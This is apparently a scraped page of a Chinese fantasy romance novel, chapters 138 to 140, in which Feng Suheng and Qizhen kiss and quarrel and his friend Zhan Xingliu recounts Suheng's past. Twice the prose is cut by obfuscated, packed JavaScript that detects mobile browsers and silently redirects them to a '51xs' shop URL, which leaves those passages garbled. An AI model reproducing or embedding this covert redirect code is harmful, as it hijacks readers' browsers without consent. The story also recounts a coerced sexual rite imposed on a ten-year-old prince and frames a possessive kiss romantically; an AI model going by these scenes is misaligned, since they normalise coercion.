栖真耳朵痒到极致,捂住他嘴,用气声道:“别,有人听得到。” 昨日隔了上百米,夹杂水声潺潺,容绽都能捕捉到林中动静。这旷日午后,阒静营地…… 风宿恒不动,凝视栖真昏暗下犹带水光的眼,感受捂住他嘴的手,柔软的皮肤正盖在他唇上。曾经那么渴望亲她一下,却为着生离死别的顾忌竭力隐忍,如今他们之间再无障碍,他亲一下,就亲一下……不行吗? 风宿恒喉咙耸动,闭了闭眼,最终还是退开,“收着吧,别给人翻出来。小憩片刻,稍后跟我去山里走走。” 说着,猫腰出去了。 栖真翻身扑到床上,心里啊呀呀半天,又将红梅展开从上到下、从左到右地看。叠起塞进布包,换了身稍薄的中衣躺进被中,将宝宝放到身边,长吁口气。 柔软的被褥,舒服的枕头,一方遮风避雨的暖帐……就像脱贫致富,重回人间。 简直幸福到冒泡! 以为肠胃没那么快好,谁知一觉睡醒,肚子不疼,头也不晕,到像彻底好了。 换上青布袍,将头发用木簪挽起,撩开帐子出去。如今暖壶都是满的,随取随用,生活质量不知提升多少。她打水洗漱,整个人焕然一新。 见风宿恒对她招手,于是过去坐:“烧什么呢?” “尝尝。”一碗热腾腾的菜粥递到跟前。 栖真中午就没吃多少,接过慢慢喝:“没到饭点呢,又开灶?” “就熬一碗。”风宿恒歇了火,从水缸里舀水,将小锅洗净。 原来是怕她饿,给她一人熬的,栖真吃着都想笑。 收拾停当,见营地一端多了个半身高的司辰,便跑去瞧,现下正申时过半。 “还带了这个?” “过日子,得知晨昏。”风宿恒拍拍司辰的圆顶。 被“过日子”三字击中心房,栖真动了念,好想牵风宿恒的手。 “走,去逛一个时辰。”风宿恒带她出营地,往山顶去。 刚来山上时,遍地枯木萧条,如今才过一周,已现初春景像,一簇簇花骨朵挨挨挤挤,不日便要萌放。 “你一来,花都开了。”两人在山道缓行,偶见些迫不及待绽放的花苞,看得人心情舒畅,栖真夸赞道:“宿恒好厉害!才来一日什么都搞定。带上山的东西大家都喜欢。” 重要的是细节。 毡帐不是普通物,小镇很难买到,一下带上十几个徒惹人怀疑。他说是淘汰下来的,只带两个,而一个没给自己,只充作公用。絮回他们或许排斥给他们单人的帐篷,公用的就很难拒绝。 而人一旦受了一个恩惠,便容易接受第二个、第三个……风宿恒真是深谙人心,明着不过带点东西,却处处妥帖,步步推进。 栖真看在眼里,学在心里。可风宿恒只是道:“旁人喜不喜欢打什么紧,栖真喜欢才重要,你喜欢吗?” 栖真点头:“喜欢的。” 风宿恒笑问:“喜欢我带的东西,还是喜欢我?” 身边没了声音,风宿恒转头,就瞧见低着头的绯红耳根和半截同样红的脖颈。 风宿恒牵起她的手,紧紧握住。 栖真一惊,左右看。 “没人。”他道:“放心。”把手握得更紧了。 被握住的手开始还有点僵,不过片刻便柔顺地反握住他。风宿恒还不知足:“有人又如何?有人便不能牵了?” 栖真嗔怪道:“还不是你一开始要叫小姐。” 风宿恒语塞:“一开始没来得及摸清状况,只好先找个稳妥的身份。那你说,我这般料理,还过得去?” “哪里是过得去!”栖真感佩道:“简直6到飞起!当年城墙初遇,你就凭我一句话瞬间编出一台大戏。这次也是!这能力我真是佩服得五体投地。” 什么6到飞起,又说他听不懂的话,但谁叫风宿恒喜欢听,她怎么说他都喜欢。 握着她的手很大,很有力道,她手背还有伤痕,他细心避开。栖真问:“毡帐,后面还弄不?” “弄啊。”风宿恒道:“不能厚此薄彼,但得慢慢来。” 栖真道:“宿恒,我这么说,你可能觉得我不知好歹,但还是想跟你商量。” 风宿恒拉了下她的手,示意她直说,栖真有些不好意思道:“我这新帐子能否先给阿月?我晚几日没关系,可她做月子呢,睡的地方活受罪,真怕她将来拉下背痛腰痛的毛病。” 她见风宿恒不说话,忙道:“女人做月子很重要的!她生完什么补的都没有。下次带点鲫鱼,还有猪蹄,还有补气补血的药材,这些董未知道,反正……得给她好好补补。” 见风宿恒还不说话,她心里打鼓,只好道:“你对我好,我知道的,都知道!我身强力壮,小帐篷再窝几天无妨。但对阿月,那是一辈子的事呢!” “栖真。”风宿恒忽然开口:“你生小包子的时候,谁照顾你做月子?” “啊?”栖真一愣,怎么问起她来了? “你高堂早已不在,家中也无兄弟姊妹,你做月子,谁照顾你?”风宿恒道。 “我们那儿可以请月嫂,花点钱的事。” “那你可有拉下什么背痛腰痛的毛病?” 栖真………… 风宿恒道:“说实话。” 栖真期期艾艾道:“生的时候大出血,月子做了三个月,都挺好的,就是……” “就是?”风宿恒盯着她。 “手在冷水里久了骨头会有点疼,然后……坐久了,腰会酸。” 兴许是风宿恒面色有点沉,栖真连忙解释:“其实真没什么,我在那里虽然是一个人,但也不差钱。医院提供月嫂看护服务,我请了两个金牌月嫂。据说平时根本请不到,我运气爆棚,正好订到她们档期。一个照顾小包子,一个照顾我。” “听说……”风宿恒道:“一次月子没做好,下次可以补回来的。” 下次?栖真发愣着看他:“有这种说法?” 风宿恒笑而不语。 说起身体,栖真想起正事,求证道:“这次醒来,你是不是身体还没完全康复?” 风宿恒摸了摸脸,有点紧张:“嫌我脱相,不好看了?” “中土第一帅说什么呢?”栖真失笑:“我在想你若身体无恙,昨日见我受伤怎不用疗愈术?” 风宿恒笑起来,解释道:“这是桩怪事!还记得我们当初去神明大宫那会儿什么法术都使不出来吗?这山也一样!进入这里就无法调动神识,法术全然失效。否则昨日我何须翻山越岭,直接御剑到三峰溪,还能早点找到你。” 神明大宫是重离制造出来的幻境,这山又是他老巢,两地都使不出法术,只怕都是他的手笔。 下次“上坟”,她得问问。 如此一来,御剑离开的设想就破灭了,栖真心下惶然,连风宿恒接下来细说为两人新编的身份也听得恹恹。 “把自己骂那么惨。”栖真听完如是道:“真绝!” “一个共同的敌人代表千言万语。”风宿恒道:“骂两句打什么紧,又不痛不痒。” “那我也不愿意。”栖真小声嘀咕。 风宿恒捏了捏她的手:“这几日得给你补补付春,就怕有人拿话套你。” “是,师父!”栖真就差给他敬礼。两个月加讲义还不够? 一句“师父”明显取悦人。没到山顶呢,风宿恒一拉栖真进了密林,把人狠狠按在树上。 “叫阿畅!”他恢复原样,把栖真圈住。 栖真咬唇,别过头,下颏又被掰回来。风宿恒逗她:“你说的,权柄交予我手!谁甘愿投降?谁晋升主宰?白纸黑字呢。” 什么?风宿恒怎么知道这些话? 栖真不敢置信。 忽然反应过来,昨日风宿恒下洞救人,墙上文字犹在,他应该看到了。 她居然完全没想到这点,晕,来道天雷劈死她可以吗!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057761|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不是。”猝不及防的,栖真急出汗来。可斗大的字,明明白白写在洞里,让人无从抵赖。 “不认吗?”风宿恒缓缓逼近。 肩膀被扣住,栖真还在搜肠刮肚如何反驳,风宿恒已经抬起她下巴吻下来。 与强硬的动作不一致的是唇上的触感,他的唇触碰她的,蜻蜓点水般,像征求允许,更像一种仪式,轻轻碰一下就退开。 风宿恒见栖真身体僵直,眼瞪得什么似的,一副不及反应的傻样,便加重力道又亲了一下。 这次将她双唇紧紧覆住,他心里涌起前所未有的圆满,像与生俱来的本能压抑经年,终在一吻中得以释放;也如旅人踏遍千山得见终点。他说不出的激动,双目酸涩,贴到后来,唇瓣都微微抖起来。 可终究顾及她的感受。 栖真应该爱他,可也说过怕他,所以风宿恒还是放开了。 他们有的是时间,慢慢来。 “怕吗?”手指在侧颜轻抚,感受掌下僵硬的身体一点点放松,风宿恒低喃:“不喜欢就推开我。” 可这话太违心了。 她不喜欢,都不可能推得开他。 她不喜欢,他就亲到她喜欢为止。 “没。”幸好栖真伸手抱住他腰,把头埋到他胸前。 “那……再亲一下?” 风宿恒明白了,她刚才只是羞涩。 害羞固然让人心喜,可那是活色生香前的屏障,满园春色前的山墙,此刻他更想劈开屏障,推倒山墙。于是风宿恒把栖真从埋首的胸口挖出来,再次压在树干上亲。 捧住脸不让躲,他附身迁就,在她唇角、唇上、下颌落下一个又一个吻。虽是唇瓣的亲近,比起适才慎重之态,这回带了更多释放意味。 亲近她,想亲她,思之如狂,很久前就想! 如今得偿所愿,滋味也太好了! 好得他全然不想放手。 亲得投入,顾不上的感觉让人喘息,直到在栖真脸上尝到咸湿。 风宿恒心里一颤,稍稍退开:“怎么了?” 是他太过猛浪吗? 栖真摇头,赶忙抬手擦泪。 不是存心在初吻时煞风景,可眼泪流下来,她根本控制不住。 惶恐又甜蜜,被亲到头脑一片空白后各种念头又潮水般涌上来。 想到和风宿恒上驼暮山时的求而不得,想到长街上见其棺椁从眼前过时的不可置信,想他毫无生气躺在密室冰棺时她的彻底崩溃,想她被囚在山上再不得自由的无可奈何,想到……想到有笔账,她还没跟他算! 栖真忍着心酸,推开风宿恒,劈头问:“你心上人呢?你不是要回辛丰完婚吗?” 看她兴师问罪、言之凿凿的样子,风宿恒结结实实愣住了:“我心上人?” 栖真两眼冒火:“从出生起就心心念念,为她不惜抗命拒婚,风里来雨里去地攻城略地,担了为害苍生的骂名都要维护,马上就要迎娶的那个心,上,人!” “我没心上人!”风宿恒难得打嘴瓢:“不是,我有,但不是……” “怎么没有?你为她习世间所有可习之术,学世间所有可学之事,玩世间所有可玩之物,读世间所有可读之书!你为她做了那么多,你去亲她啊!” 风宿恒:“栖真!” “心里揣着人,转头又来亲我!她知道吗?她同意吗?你对得起她吗?” 栖真承认,吃醋吃到自己身上是她蠢,但风宿恒死后所有人联合起来骗她,她不信背后无人授意!想那时她为他的骤然离世哑然失声,又为慕真吐血三升,前所未有的委屈就直冲脑门。 栖真吼完,转身就跑,却被风宿恒拉住:“听我说!” “我确实对一人心心念念,为她抗命拒婚,为她攻城略地。”风宿恒急地音量都不控制了:“不是别人!是你,那个人一直是你!” “说瞎话呢?”栖真虎着脸,拍开他手:“我见过慕真!人家为你卧病在床,容颜憔悴,你亲我,她怎么办?” 风宿恒脑里乱成一锅粥,猝然回想……他确实做过很多安排,甚至写过剧本……但星流没说她俩见过面啊! “几时见的?”风宿恒跟在身后,话都变了调。 “发丧后!”栖真在前面走得虎虎生风:“她说悲痛是她该受的,我没资格为你痛。她让我过好自己的日子去,早点忘了你!她还说,你给她留的财富,十辈子都用不完!所以,别管我写什么投降,什么主宰。”栖真往林外走:“重点是,你不能对不起自己的信仰!” “不是……”风宿恒头都大了。 什么叫搬石头砸自己脚,真是忒疼。 风宿恒心急如焚,想把人抓回来。 “呦,栖真,在这儿干吗呢?”董未采完草药走在山道上,见林中窜出一道身影,定睛一看:“哭啥?” “没!”栖真头都不回往山下跑。 “等等我。”董未快步跟上。 “栖真!”风宿恒在背后大喊。 这声没把人叫住,到把董未唬着了。 栖真生怕风宿恒忘记变回去,回头一瞧。 还好,变回去了。 于是对他做个嘘的动作,提醒他回营后别乱说。 “回来!”风宿恒有点怒,有点急。话没说完跑什么?回了营地他根本什么都做不了。 谁知前面人不停步,对他做个鬼脸,跑得比兔子还快,一溜烟没影了。 139. 第 139 章 回营地接手孩子,栖真嘴角溢着憋不住的笑,连英迈都多看她两眼。但没过多久,她就有点笑不出来了。 小半个时辰过去……风宿恒还没回来。 “阿畅不在,咱们吃什么?”到该做晚膳的时候,成校问柳絮回。 中午吃的是他带回来的菜,阿畅大方,一直说东西是给大家带的,可他真不在,旁人也不好意思直接拿来吃。而他们自己今天就打到两条小猫鱼,不够那么多人分。 “成校、董未,来帮忙。”栖真把孩子抱给慕容喂奶,让人斩了半拉肉,洗了菜,淘米烧饭。 风宿恒是气大发了还是怎么的?她跑了,他就不回来了?不回来就不回来!栖真炒着菜,脾气有些上来了,有本事饭都别回来吃,一点不给你留! 天色暗下来。 “哇,栖真手艺也很不错!”董未红烧肉吃得香。 柳絮回吃着饭,问:“阿畅呢?” 阿畅只来了一天,但存在感太强,所有人都在意他,见他烧饭时不在,吃饭也没来,都觉得奇怪。 董未悄悄道:“吵架了。” 成校抹了把嘴角流出的油:“仆人都这么狂?”好像忘了他自己也只是个仆人。 柳絮回板起脸:“少说!” 成校嘀咕:“多吃!” 肉烧得多,吃两轮都有剩,栖真索性用大勺给众人再分一轮,董未道:“给你家阿畅留了吗?” 栖真满满一勺肉浇在他饭上:“留了。” “他又下山去了?”典叔指指自己碗:“来点汤汁。” 盛了勺汤汁外加满满一勺肉给他拌饭,栖真没好气道:“随便他。” 柳絮回感觉张典不该用这种使唤人的语气和栖真说话,便道:“栖真,你也吃。” 栖真笑了笑:“吃过了。” 晚膳后花了点精力才说服慕容搬地方,被褥都留给她,只把木盆和包裹带回自己那个狗窝小帐,又帮慕容打水擦身。临走前,慕容忍不住留泪道:“晚上把孩子给我,你能好好睡一觉。” “别哭。”栖真软声安慰道:“月子里流泪,以后眼睛疼。” 慕容道:“栖真,你事事为我们,我真不知怎么……” “不知怎么报答?就快点把身体养好!”栖真拍了拍她的手。 碗洗完了,两堆篝火已歇,还留两堆照明。篝火边有一碗堆得满满的饭菜,早已冷掉。 还没回来…… 栖真去看了眼司辰,酉时末……那便是晚上七点,他在山里待了三个小时?在做什么?不好意思回来跟她解释,还是一个人在外面气呼呼地想怎么跟她解释? 栖真从一堆吃食里翻出茶叶,泡茶给篝火边的人,自己捧着茶楞楞看着营地入口。 要不出去找找?快点叫他回来吃饭,饿坏了怎么办? 栖真喝一口茶,越想越气。 这次不硬气点,下次他还这样!下次遇到危险,遇到生离死别,他还这样! “这是新上市的白叶锦。”絮回顺着栖真目光,觑了眼营地入口:“好久没喝到了。” 白绿色的嫩叶,舒展着清雅淡香,栖真品了品:“我不懂辛丰的茶,阿畅懂。” 絮回道:“辛丰也产白叶锦吗?还以为只有大容有。” “是吗?”栖真幽幽道:“辛丰和大容我待的时间都不长。茶,有闲心才喝得起。” 絮回和声问:“栖真什么时候离开付春的?” 栖真侧头想,像从久远的记忆中翻找。这对她来说并不困难,风宿恒给了剧本,她照着演就行,无非是演技问题。 栖真一面将凄惨“过往”娓娓道来,如何数次逃过追杀,怎么到处躲避……该伤心时伤心,该惆怅时惆怅,大事说的举重若轻,小事说的无比感慨,一面却想着风宿恒。 他擅长编剧。当初戦星流、慕真、聂灵鸢、袁博和颜心是否也像她现在这般,为他的剧本站台,声泪涕下,唱作俱佳? 只是千算万算仍有遗漏,比如半夜祭拜、比如姬楚然的出现、比如那罐满怀祝愿的珠子……傻阿畅啊!你穷给我下绊子,怎知差点绝了自己生路。 她以媲美奥斯卡的演技叙完,最终以目视篝火、凄惨落泪结束。 篝火边一时沉寂。 却听容绽道:“栖真,你把自己的新毡帐给了阿月?” 栖真擦干泪,起身拎壶,给围坐的人重新满上水,不咸不淡道:“我大概有病,整日就想做好人。” 杯子新添了水,但不烫手,正正好好的温度,一如她给人的熨帖。倒水时,栖真知道容绽看不见,从他手里取过杯,斟满了,扶着他手递回来。 手心里是热茶的温度,手背上是她指尖的温度。容绽诚心道:“栖真,谢谢你。” 絮回撇了眼目视篝火、始终沉默的山遥,转而问道:“萍水相逢,你连我们来历都不清楚,为何对我们这般好?” 他们已经问过很多次为何对他们这么好,为何要为他们做那么多,如果非要一个明确答案才能让他们安心,那她不介意反复说。 “我喜欢这里,不用逃亡,不会害怕地睡不着觉。”栖真给壶加水,重新煮上,坐回去道:“即使你们走了,我也不走,我就不想下山。可是如果你们真地走了,我大概会很寂寞吧。” 说了一晚,终有一句是真的。 随着这句出口,栖真有些沉郁。 虽然从未宣之于口,但她心里是害怕的。怕一个人困在此处,怕她爱的人知道真相,也被困在此处。 是,风宿恒一定会陪她,甚至叫上很多人陪她,但那代表着未来,她只能生活在一种单调的社会关系中。 这让她不寒而栗。 所以竭力挽留絮回他们,即为弥补自己过错,也多少有几分为将来考虑。 夜深了,篝火边终于只剩栖真一人。坚持已全线坍塌,她举着火把出去找。可山道上没人,山顶也没人。回来时,司辰指向亥时末……而风宿恒昨晚睡觉的地方,鬼影子都没一个。 栖真楞楞站在营地,不敢置信,风宿恒真地招呼都不打,就这样走了? 两堆篝火也熄了,营地素黑,只有朦胧的月色,借一点残光照她周身。 没有哪刻像现在这样,让她意识到一个事实——如果风宿恒被气走,除非他自己回来,否则她真地一点办法都没有。 是的,她连去找他、向他道歉的通路都没有! 想到这点,栖真只觉浑身冰凉。 今晚不用带孩子,她也不想回去睡,轻手轻脚取来披风,坐回火堆边。 篝火虽熄由有余温,她在黑暗里感受余温在偶起的山风中慢慢消散,一如她手中拥有的为数不多的依靠。 懒得再去看司辰,他不回来,子时还是丑时就没有分别。 她目视月亮慢慢挂上中天,任由薄的厚的云层遮蔽又散开,一片云,两片云,三片云……二十二片云……三十九片云…… 看得不知是清醒还是梦魇,她忽然就看不到云了。 云被一个高大身影替代,那身影抱住她。 不仅抱住她,还抱起她掠出营地,往山上疾去。 “你去哪里了?”栖真紧紧抱住那具带着冷感的躯体。 风宿恒抱得很紧:“对不起,栖真,对不起。”也不知在对不起他没打招呼就离开,还是回来晚,还是别的什么。 “让你亲别人,你还真去了?”憋了一晚的委屈全数爆发,栖真拳头捶在他胸口:“那你别回来了!” “别动,再动掉下去了。” “混蛋,放我下来!” 她又骂他混蛋! 上次她就这么骂,以前他只能哄,现在能用别的了。 背部被怼到树上,横抱变竖抱,风宿恒捧着栖真不让落地,用唇堵住了她的嘴。 舌尖闯入,将半日的着急、委屈、相思毫不留情地给她。吵架要张嘴,舌头是凶器,他把骂他混蛋的凶器缴了,让它无处可躲,只能臣服于他,变得和他一致,温驯又柔顺。 “我是混蛋。”分开时,风宿恒的气息吐在她唇齿间,甚至舍不得远离:“我做了很多错事,伤了你的心。” 栖真死死咬唇,憋着哽咽,见风宿恒又要凑来,立马偏头,那吻就只落在脸上。 落在脸上也是好的,风宿恒情不自禁又亲几口,才道:“一路没说实话,你不信我也是我活该,唯独我心上人是谁这桩,必须让你明白。” 终于把栖真放下地,在她手背印下一吻:“真真,求你了,给我个机会。你不信我,我让别人跟你说。” 真真? 随他改了称呼,栖真鸡皮疙瘩都起来了,嘴角却是憋不住的笑。 “我说陛下栽大发了,你还不信!”远处传来一声笑。 “现下信了。” 栖真愣然,从风宿恒身侧探头看,只见月色下,山道上,款款步下两人。男的笑意盈盈,高大挺拔,女的语音婉转,弱柳扶风。 戦星流上来对栖真一揖,激动道:“除去宿恒,我从未真心感佩过谁,今日却要栖真受我一礼!” 栖真没想到会在这里见到戦星流,忙侧身避过,连连摆手:“当不起。” “王府再别时,你谢我为宿恒尽心竭力。星流实在惭愧,尽心竭力救他的是你。栖真,何止一拜,再重的礼你都受得!” “是啊,不让夫君拜上一拜,他可辗转反侧,心里难过至极呢!”戦星流身边的女子轻笑出声。 听见此声,栖真甚是惊讶,这声音她怎么可能忘记。 之前隔着屏风,她声声虚弱,了无生趣,如今却是朝气蓬勃,宛若莺啼。 慕真! “夫君?”栖真看看她,又看看戦星流。 戦星流揽上慕真肩,笑道:“重新认识一下,慕真,我府上大夫人。” 慕真给栖真行礼:“之前不得已,慕真这厢赔罪了。” 栖真睇了眼风宿恒,双颊吹得鼓起。你心上人? 戦星流见状抢白:“宿恒今日心急火燎招我俩来,便是跟你解释清楚。此前太多故事,由他说只怕栖真不信,还是由我来诉吧。” 从大荒流御剑到乾都,再马不停蹄赶回,原来是搬救兵去了……栖真对风宿恒好气又好笑,觉得这人真是又痴又傻又可爱。 风宿恒哪知栖真变幻莫测的表情什么意思,生怕她再生半点误会,想快点说明,便指山顶道:“找个方便地方,山北有处溪流,去那里。” 当下轻功飞掠,带栖真至三峰溪边把人放下,风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078003|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿恒有点忐忑,放软声音:“我回山顶,你……你们,好生说话。” 三峰溪水声不分昼夜,月色照得水流波光粼粼,倒让岸边比山道上更能看清人影。戦星流见人远去,好笑道:“真把宿恒折磨死了!你不知他今日御剑来,拖我走的着急忙慌样。” 转首见栖真靠在大石上,他也拉着慕真在就近的石上坐,搓了搓手道:“倒不知从何讲起了。” 风宿恒的事她都要知道,栖真贪心道:“从出生开始讲。” 从来没有机会,能和谁完完整整说一说他最好的朋友、他效忠的对象、他这辈子最佩服的人。戦星流感叹一声:“故事太长了。” “还有两个多时辰才天亮。”栖真抬头看了看西斜的月亮。 “宿恒,小时候很闷的。”戦星流笑起来,还真的从头讲起:“他母后是凌潇帝正娶的第一个皇后,只是不得眷顾,所以宿恒小时候日子不太好过。我打小随父王出入宫廷,每次见他都在受罚。但我知道他极聪慧,我背不出的书,他都过目不忘,只是一群皇子在一起,他总装作背不出的样子。” “有次我问宿恒,整天闷着想什么呢,他说在想他的梦,他有一个一直做的梦,梦里有个特别好看的女神。所以每次见,我都开他玩笑,又做梦了吗?女神亲你了吗?他知道我打趣他,后来我怎么问他都不说了。我以为这事就过了,小孩嘛,谁会把一个梦当真,直到宿恒十岁那年。” “栖真你不知道,辛丰皇族向来有个传统,就是每个皇子到十岁都要行齐鸾礼。” 戦星流自然不知道风宿恒跟她说过这个,驼暮山上,六梅树下,但栖真仍是听得认真。 “齐鸾礼就是辛丰皇子的认可礼,每个皇子都须在那日初尝男女之事。齐鸾礼对辛丰皇子来说太重要了!因为辛丰重多娶多子,想荣登大位的皇子在性/事上必须很强。所以齐鸾礼,说白了就是''征服''。谁能证明自己在稚子之龄便能征服一个女人,才算证明自己。若那配于的女子隔日仍是完璧,便宣告成礼失败。只有那些顺利过礼的皇子,才会得皇室倾力栽培,单配太傅,以及被授予修行的尊师。辛丰太子之位是要上承乾坛争夺的,不会法术的皇子连承乾坛都上不去。而皇位只有一个,争储失败的皇子结局都不怎么样……反正,栖真你只要知道,争储,不仅关系到皇子们的前途,更关系到生死。” “可就是如此重要的一件事,宿恒十岁那年,竟然主动放弃!” 戦星流像回到当时,面上仍有唏嘘:“这件事,那么多年了,还会听我父王提及。宿恒,开始是找陛下据理力争,坚决不肯,可胳膊拧不过大腿。他是大皇子,是陛下这朝第一个行齐鸾礼的皇子,多少眼睛盯着呢,陛下便……便给他下了点药……唉,这部分我不知怎么说。反正,就是让他不从也得从。” 慕真听闻过形形色色关于大皇子的传闻,但如此完整的还是首次听。想象那场景,抓着戦星流的手都紧张到冒汗。 戦星流拍了拍她,继续道:“可是这礼到底没有行成,宿恒被扔进房前一刀扎在大腿。那晚陛下都被他的决绝震慑,只好中断行礼,把他关了起来。后来,对外虽没废除名分,但私下一点银钱不给,陛下直接把宿恒赶出宫。” “那几年,也就我和宿恒还有联系,给他偷偷塞过银子,塞过吃的。我知道陛下在逼宿恒,逼他就范。不仅为着齐鸾礼,更是因为他是第一个如此忤逆圣意的人,若非皇亲早砍头了,可他毕竟陛下亲出,所以陛下就想让他知道一旦失去皇家庇护,他活得能有多艰难。” “栖真,我刚说除了他,我最佩服的是你。可宿恒……我一路看他那十年,真是没法和你形容。你能想象一个十岁的孩子,没了锦衣玉食的生活,身无分文,颠沛流离,居然硬是靠着自己,只用十年,成长到让陛下刮目相看,能有资格和陛下谈判的地步吗?没人教他,他便以各种身份混入仙宗,偷学、偷练。他,真他妈是我这辈子见过最厉害的武学奇才!天赋!天赋!你知道吗?他用了短短十年,就从大道,到小神,到全尽,到极灭!我都不知他怎么练的!我,我父王让我拜了两个宗师,现在还只在小神。而宫里那些递过茶、拜过师的皇子们,一板一眼地修炼,到极灭的又有几个?” “但不止修炼,远远不止!若说修炼拼的是天赋,宿恒最让我佩服的就是他的头脑。我觉得他大概就不是个凡人!我不知他哪来那么多精力兼顾所有的事,哪来空闲看书,哪来机会交友,哪来时间经商!有几年他混在门派里,我每年还能偷偷去见他一两次。后面几年他居无定所,只能通信。而每次写信,我发现他懂的东西都在变,多得我眼花缭乱,真是想想都让人觉得不可思议!” “你和慕真见面时,慕真说宿恒给她留的财富十辈子都用不完。前半句是假,后半句却是真。辛丰、付春、燃伢,大小陈,但凡宿恒踏足之地,都有他的生意。你当他身边只有我、钟雄、袁博、倪煌吗?远远不止!他手下人才云集,至少还有一系,以许子鉴为首,专门帮他打理产业。” “栖真,我……我有点激动。”戦星流说得坐不住,索性起身,好像站着才能说得爽利:“那些年他结识了多少人,手下又有多少人,他做过多少事,以后有机会你可以问问他。反正宿恒就是人间至宝,一辈子挖不完的那种!” 140. 第 140 章 慕真见自家夫君的兴奋样,都觉好笑:“好了,说回正题,大殿下当年为何不肯行那齐鸾礼?” “啊,是,是要说这个!”戦星流道:“我问过他的,这问题我从小问到大,但他不肯说。大概到了几岁?反正就是他决定回宫和皇上摊牌那年,应该二十吧。十年,他用十年证明了自己的能力,用十年让陛下吃惊。陛下其实后来是退一步的。他给宿恒赐婚,只要宿恒乖乖回去完婚,齐鸾礼的事就既往不咎,他也可以回宫继续做大皇子。可是宿恒,哈哈,指婚的圣旨连下三道,他都没理。最后一次,嘿,陛下要把雍贵王之女明涛涛赐给他。明涛涛唉,辛丰第一美人!多少人寤寐思服、求而不得,赐给他他居然不要,他不要!” 慕真眯眼,咳了一声。 戦星流挥了挥手,意思让我说完:“后来陛下实在下不来台,就派我父王围剿他。动真格的围剿哦!五百禁军,围他一个,就为了把他带回宫。这事我父王不肯多说,我知道是因为他觉得没面子,五百禁军都没抓住一个,太好笑了!但后来宿恒还是回了宫,他是和陛下谈条件去的,他跟陛下说,若他可以做到每年攻下一座城池,将之并入辛丰版图,陛下就要答应从此不再染指他的婚事。” “那晚我去宫里找他喝酒,宿恒才跟我说心里话。他说他心里有人,所以不能行齐鸾礼,不能接受赐婚。我问他什么人,他说在他梦里。我都惊呆了。我根本不信!他梦里……小时候那个梦吗?可偏偏就是那个梦!他说不止小时候,梦一直在,他一定要找到那个人。我觉得他疯了,我没法理解!栖真,在遇到你之前,我根本没法理解!” “谁会从小到大就梦到一个人?谁会把梦当真?可宿恒就当真!陛下让他攻城,兵都不给一个,可他硬气,单枪匹马地去。先是燃伢的照广、聊城,后来是付春的燕台九州、再之后是胥敖的辰江属地、摩新城,大陈的小三江,大三江……陛下不给兵,他就让我帮他组个蹴鞠队,对外只说一百人,其实是五百人的私兵。所有军饷都宿恒自供。五百人里有五十个修行者归我管。而钟雄、倪煌、袁博都是宿恒一手培养起来的将领,尤其钟雄,经过层层选拔,次次历练,最后才做到将军。有了这支队伍里应外合,那几年,宿恒所向披靡,拿城拿到我们自己都不敢置信。啊,说到这个……”戦星流挠了挠头:“有点不好意思在你面前炫,因为在大容,你一下灭了我们一百五十个兄弟。” 慕真明显不知这段,惊呼着看向栖真。 可她发现后者并无表示,只是坐在那里静听。 “栖真,你可能会觉得这支军队不过尔尔,但真不是!他们几年里跟着宿恒南征北战,都是老兵。只是在大容时轻敌了,阴沟里翻船。当时所有人都以为大容连军队都没有,根本不堪一击,我们所到之处动手都是多余,直到在清音缥缈城,听尚可薪城头抚琴,钟雄入了你的套,才有之后双龙峡失利。你环环缜密,步步攻心。那一场我们后来仔细研究过,钟雄至今耿耿于怀。” 戦星流道:“反正大容那次是临军的最后一仗,目下这支军队已扩充到三万人,常驻大容,转为守军,以后你回城会看到的。继续说宿恒。哎,我原本以为他要找人的想法不可能实现,茫茫人海,凭一个梦找人?痴人说梦吧!谁知有一年……嗯……大概是拿下辰江属地后,他忽然上了承乾坛,争到太子位,莫名其妙跟我交代遗言后独自入了大荒流,足足两月音讯全无,我们都急疯了。可有一天他回来了,身边还带着两个人。你可能猜到了,那是刚出大容的容聘和山遥!你知道,宿恒要亲近谁,谁又能设防呢?何况当时才十五岁的容聘。宿恒很快就让容聘完全信任他,之后很长时间,他都把容聘带在身边,即使潜伏攻城,也一直带着他。 “直到拿下大三江后,宿恒回乾都找我。那次他很郑重,前所未有的郑重。他说他一定要进大容找炼魂鼎,因为炼魂鼎可以帮他寻到梦中人。炼魂鼎!我只在书上看过记载,在辛丰都失传百年了。可他言之凿凿,说容聘跟他说了炼魂鼎就在大容。经过几年观察,他早把容聘一颦一笑摸清,何况把他神识载入体内后,还能看到他的记忆,所以宿恒扮起容聘天衣无缝。他带着我和被替换记忆的山遥回到大容,然后就……遇到了你。” “大容这段,栖真你都知道,我不说了吧。”戦星流问。 栖真摇头:“继续说。” 戦星流顿了顿,其实也说得意犹未尽,便继续道:“这段……总体来说是天意弄人、阴差阳错!宿恒是为找你去的大容,可你站他面前,他又没认出来。啊,也不能这么说。在他梦中,你是现在这副面容,而那时你还附在沈兰珍身上。” 